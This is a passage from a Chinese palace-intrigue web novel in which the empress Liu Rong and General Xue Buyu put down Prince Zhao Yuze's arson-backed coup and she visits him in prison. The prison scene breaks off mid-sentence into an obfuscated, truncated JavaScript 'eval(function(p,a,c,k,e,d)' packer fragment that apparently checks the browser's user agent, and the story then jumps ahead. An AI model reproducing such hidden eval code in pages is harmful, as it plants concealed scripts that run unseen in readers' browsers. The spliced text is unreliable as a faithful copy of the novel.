“一场云雨后,臣还以为娘娘至少会对臣下手温柔些呢。”他动动身上的绳子,舒展了下肩,但这点风吹草动禁军也不放,上前按住他,将他的头深压。 “真是……臣何德何能配被安上如此盛大的罪名。” “来时臣还在想娘娘今夜究竟会用和手段对付臣,真教人期待。”他一语双关。 柳茸权当听不出,“你知道自己要赴鸿门宴?” “既已身在鸿门,缘何不赴宴?赴宴至少能见到想见的人。” 赵玉则仰头目光向她,从鞋履、到云袜、罗裙,再到那张入睡前还在枕边的容颜。 “那你倒是说说为何前来赴宴,你说是为了想见的人,陈王殿下,你自己相信么?” 一串碎玉般的笑在赵玉则唇边,“自然是为了,” 话音突然被打断,禁军十万火急入内。 “娘娘!甘露宫起火了!” 甘露宫,皇帝的寝宫。 未几,又一人来报,“娘娘,城中数坊夜里失火!” “都有哪些坊?” “崇仁坊、淳和坊、通化坊等共计十余处坊市失火。” 柳茸一眼锁定押在地上的亲王。失火的坊子大多是京官要员的住处,更有朝堂传达文书召令的都亭令,窗外乌烟四起,梆子与号角声嘈杂不断。 赵玉则继续着被打断的话,“自然是为了试探娘娘知道到了什么程度啊。” 话音融入通天火光中。 禁军忽然将他松绑,原先绑缚赵玉则的绳索对准了柳茸,他站起身,拂去衣上受绑的褶痕,手提绳子的禁军步步逼近柳茸。 “可惜啊,娘娘,你棋差一招。” 赵玉则将地上的衣物拾起,转身走入屏风。 无人帮扶,穿衣总是漫长而繁琐,屏风里传来他的声音,“娘娘既然能查到幽州私军,就不想知道现在他们在哪里?” 柳茸思考片刻,转过眸子,正视着屏风上的影子,“放火是你的私军。” 再出来时,赵玉则已重整衣冠,“火势紧急,臣也忧心陛下,娘娘要随臣一同去看吗?” 柳茸抽出袖中短剑打开反水的禁军,往殿外逃去。 “娘娘,再挣扎会让臣徒增烦恼,甘露殿已经烧了,你若是配合臣自会去护驾,你若不配合,陛 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柳茸的眉目凝重起来。 “娘娘拿着母妃的牌位,是想让她一同见证吗?还是说以为凭次便能威胁到我?” 祭堂上数不清的先皇与后妃牌位,在光里影斜交错。 “正好,列祖列宗都在。”赵玉则仰观一眼,玉人般的身影在朱门中央,拖着拉长的影子,向柳茸走来。 “娘娘,方才的信号烟,你不该放的……”他背着光,眼底蛰伏的欲念在触碰到柳茸的影子时浮起,“我找到你了。” “这里可不止有列祖列宗。”柳茸将牌位扔出窗台,旋即一同跳下,赵玉则的瞳仁收缩,伸臂去挽。 晚了一步。 窗台下,一只动作更迅敏的手接住了牌位,薛不虞拍拍牌位上的灰,另一只手接住了柳茸。 53. 入狱 “薛不虞……”柳茸看见接住自己的人,了然一笑。 信号烟没有白放。 青年盔甲银两,冰冷坚硬贴着她身。 “你来了。” “再晚来一步娘娘是不是要摔成肉泥了?”他眼神严肃,后怕地望着她。 柳茸不答,好整以暇望向跳下时的高台,栏边那身青衣人影想要抓住她的手留在半空,神情淡漠望着她,不知在想什么。 “薛不虞……?”赵玉则带着些许不易察觉的愕然。然而更刺目的,是他在柳茸身边的模样,那般的无间信任。 掩藏在姣好面庞上的双目微微颦眉,赵玉则的声音清冷,面上浅笑依旧。 “薛将军不是已经去往边庭了吗?怎么,又回来了?” “你怎知我就一定走了?”薛不虞提起刀,刀上沾了血迹。 “你——”赵玉则一卡,逐渐凝重。 薛不虞:“看来陈王殿下反应过来了,猜猜关闭的暗道都藏了谁?” 宫外火光艳烈,厮杀声四起。 镇国大将军北上回边庭不可能是独身一人,必有随行兵马,如此大堆的人马要制造已然离去的假象,定然在长安有落脚之处。 一个不能轻易查的落脚之处。 蛰伏在太极宫下的蝉破土而出,在火海里穿梭。 赵玉则目光转到薛不虞脸上,对方道:“这可不是臣的主意。” 旋即看向柳茸,“不过臣挺同意的。” “陈王殿下想通了?”柳茸道:“既然薛将军没走本宫有什么必要收礼,何萧搜宫不过是引出内贼的局,本宫还要多谢殿下的疑心,助了本宫一臂之力。” 薛不虞听罢忽然竖起眉毛,用唇形反驳:他是自愿送的。 举动被不远处的赵玉则收入眼中。 他在冬风里呵着白气,望向天,雪漫漫飘了下来。 看着底下女子的脸,一抹笑意在他面颊堙灭又现。 曾经那个求他利用的女子一直都没变,但是这么多年过去,她多了不少同路人,也终究不为自他所用。 她选择过很多人,即使有了肌肤之亲,即使大权在握,她却依然没有选择他。 若选择与自己一起,他们或许是最契合的人,必能互吞朝纲,他们都是利益驱使的同类,合作地无比默契,可她后来每回都选择站在他的对面,手中的剑不对向旁人,就对向他。 可叹也无奈。 “领王命而不发,薛将军,此乃欺君。” 赵玉则的目光逡巡在二人间,“皇后,是要逼宫?” 眼下的场面,火势大乱,谁夺了宫便能咬死对方为贼,己方则是救驾,赵玉则一口出言扣下名头,将她拉下水。 柳茸不恼,“陈王殿下不也是如此?” “何况我是不是逼宫,要有人才能知道。” “谁?” “朕知道。”声落人现,新帝捂着醮湿的丝帕,重重咳了数声,双目被乌烟薰得润极。 赵玉则张了张唇,“见陛下无恙,臣心甚慰。” 新帝早看不惯一直挟制自己的赵玉则,“将此逆贼给朕拿下!” 短箭飞来,赵玉则的私兵一把护在他前,祭坛一时间变成两兵交战的战场,铿锵剑影在宫道红墙掠过。 柳茸举着手中的牌位,“赵玉则,你真的不在乎这个牌位吗?” “本宫跳下时你伸手想拉的时候这尊牌位呢。” 血战里没有人回答她,柳茸拔刀就要砍毁,一只手穿过利刃刀光紧紧握住了她劈下的刀身。 血如红珠,一颗颗滴落地上华砖,染红阴刻的花纹。 赵玉则似乎没感到丝毫的痛,还想再去够母亲的牌位,数把寒剑已列在他的脖颈。 京城的火烧了数日方得扑灭,赵玉则的府兵被清查,连同引入京的雍州私军。 寻常的私军自是不能轻易进入城门,赵玉则的私军拉长了时间陆续乔装入城,数量不多次数不频,待点火后再与城外埋伏的私军里应外合。 如此一来,火势持续的时长与守城禁卫的数量便成了重中之重,赵玉则算准了长安禁卫的人数、算准了火势持续的时长——如若没有多出薛不虞那支兵马的话。 甘露宫虽未烧成火海,但各大访市烧毁严重,有的只剩下木桩子,且被毁之处是一众朝臣府邸,不少朝臣都丧命火海。 天子震怒,下令彻查,赵玉则以谋反罪论,不得有释。 柳茸阅着呈上的案宗,大理寺正连夜复审,陈王赵玉则在牢中什么也不招,自打被捕他便一言不发,即使是那日上囚车也只是端雅理着衣摆,宗室不好动重刑,只能干耗着。 “娘娘,此处有一卷案疏请娘娘过目。” 柳茸手中案宗一放,接过看了几眼:“何府都抄没了?” “都抄没了。” “那为何是这么点人数?”她抬起头正色问身边的内官,“何萧家有多少口人?” “家里没几口人了,前年妻女病故,只剩两位老人家,何萧此人图财得很,都尽数给了给父母。” “这二人如今身在何处?” “已收入狱中。” 柳茸写了封书,“交给薛不虞,带他们去边庭吧,别在回京城了。” “可是……陛下、陛下说一律杀无赦,不得轻饶。” “他说得不算。”柳茸将书信贴到内官脑门,信纸兀的落下,内官战战兢兢接好。 “边庭胡人多,不是拟订要迁汉人开荒定居么?留在长安也无用,何家何萧已死,也没了壮丁,让他们走吧。” 柳茸合上案宗。 她时常在想,如今世道自己做了皇后有变好吗,不知为何想到崔元。 若他在,会如何做?他怕是不愿自己滥杀,她仿佛看见那抹白衣身影在堂下为两个老人求情。 太极宫是口饮血的巨兽,见血已是家常便饭,一道道血痕铸就了一条条宫阶。 但无辜之人的血,能少溅还是少溅吧,溅得多了,王朝就倾覆了。 柳茸摸上自己的腹。 那里有孕育生命的器物,大抵是知晓生灵是如何来之不易,对于生命她总存一分敬畏,不喜轻易下杀手。 这点,即便是一起同甘共苦过的新帝也是不会体会到的,故而他们能杀得轻松。 * 大狱最后一层,无风无光,蝇虫也飞不出,挂镣铐的墙头淌着一滩干涸的血,证明此地曾有过不少的人。 掌灯人带柳茸进了大狱,久见的灯光照在壁上,照着赵玉则的面容。 他污垢蒙面,蓬发披散,但依旧能从骨相一眼便觉容颜不俗,脸上双目如泉,只待人擦净不属于这张脸的污渍。 “没想到是娘娘来审臣,”他端方作揖,“真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“进去那么久,都和那个人说了些什么?”他承认自己很难得地嫉妒了。 虽然知道两个人不可能说什么风花雪月,但一想到让柳茸浪费那么多时间在里面,心下一阵不快。 关在狱中了还来勾她的注意。 “你不会要心软了吧?”薛不虞神情紧张起来。 “在薛将军眼中,本宫就是这样的人吗?”柳茸问。 薛不虞稍稍放松下来,“你答应过我,要杀他的。” 这是当然,为了崔元和许多人,她也会杀陈王。但是……这几日来,陈县的百姓不停为赵玉则请命,而京城家家户户虽噤若寒蝉,但柳茸从他们眼神中看到了不忍与求情。 稍微处理不当便容易失了民心引发非议,更不消说,不乏平日与柳茸不对付、痛恨牝鸡司晨的朝官在推波助澜。 柳茸呼出一口寒气,听见耳边人道:“你是不是……不想杀他?” “没有!” “我就知道,娘娘说到做到。” “这次我要走了,是真的走了。”薛不虞回以一个落寞的笑,“我走了,你还会记得我吗?”